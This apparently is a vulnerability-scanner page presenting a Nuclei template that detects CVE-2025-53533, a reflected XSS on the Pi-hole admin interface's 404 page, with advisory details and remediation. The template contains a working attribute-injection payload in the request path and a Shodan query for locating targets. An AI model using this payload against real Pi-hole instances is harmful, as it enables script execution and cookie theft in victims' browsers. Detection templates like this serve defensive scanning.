Pi-hole Reflected XSS in 404-Error Page
CVE-2025-53533
Verified
Description
Pi-hole Admin Interface <= 6.2.1 contains a reflected XSS vulnerability on the 404 error page. The URL path is reflected unsanitized into the `class` attribute of the `body` tag, allowing attribute injection via a crafted URL to execute arbitrary JavaScript in victim browsers.
Severity
Medium
CVSS Score
6.1
Exploit Probability
1%
Affected Product
web_interface
Published Date
April 2, 2026
Template Author
dhiyaneshdk
CVE-2025-53533.yaml
id: CVE-2025-53533
info:
name: Pi-hole Reflected XSS in 404-Error Page
author: DhiyaneshDk
severity: medium
description: |
Pi-hole Admin Interface <= 6.2.1 contains a reflected XSS vulnerability on the 404 error page. The URL path is reflected unsanitized into the `class` attribute of the `body` tag, allowing attribute injection via a crafted URL to execute arbitrary JavaScript in victim browsers.
impact: |
Attackers can execute arbitrary JavaScript in victim browsers, potentially stealing cookies or performing actions on behalf of the user.
remediation: Update to Pi-hole web interface version 6.3 or later.
reference:
- https://github.com/pi-hole/web/security/advisories/GHSA-w8f8-92rx-4f6w
- https://nvd.nist.gov/vuln/detail/CVE-2025-53533
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2025-53533
cwe-id: CWE-79
epss-score: 0.00556
epss-percentile: 0.43869
metadata:
verified: true
max-request: 1
vendor: pi-hole
product: web_interface
shodan-query: title:"Pi-hole"
tags: cve,cve2025,pihole,xss
http:
- method: GET
path:
- '{{BaseURL}}/"onload=alert(document.domain);>'
matchers-condition: and
matchers:
- type: word
part: body
words:
- '"onload=alert(document.domain);>">'
- type: word
part: body
words:
- "pi-hole"
- type: status
status:
- 404
# digest: 4b0a00483046022100da5598e0b71ef8de7d3da61f8ef869d7b3b0e134efa471ef35ba9a5f8d2c2e24022100bb0a19b30163f18238dd78b4172cd3922b6d9d3445fa9168105e907f3d8bb58a:922c64590222798bb761d5b6d8e729506.1Score
CVSS Metrics
CVSS Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
CVE ID:
cve-2025-53533
CWE ID:
cwe-79
Remediation Steps
Update to Pi-hole web interface version 6.3 or later.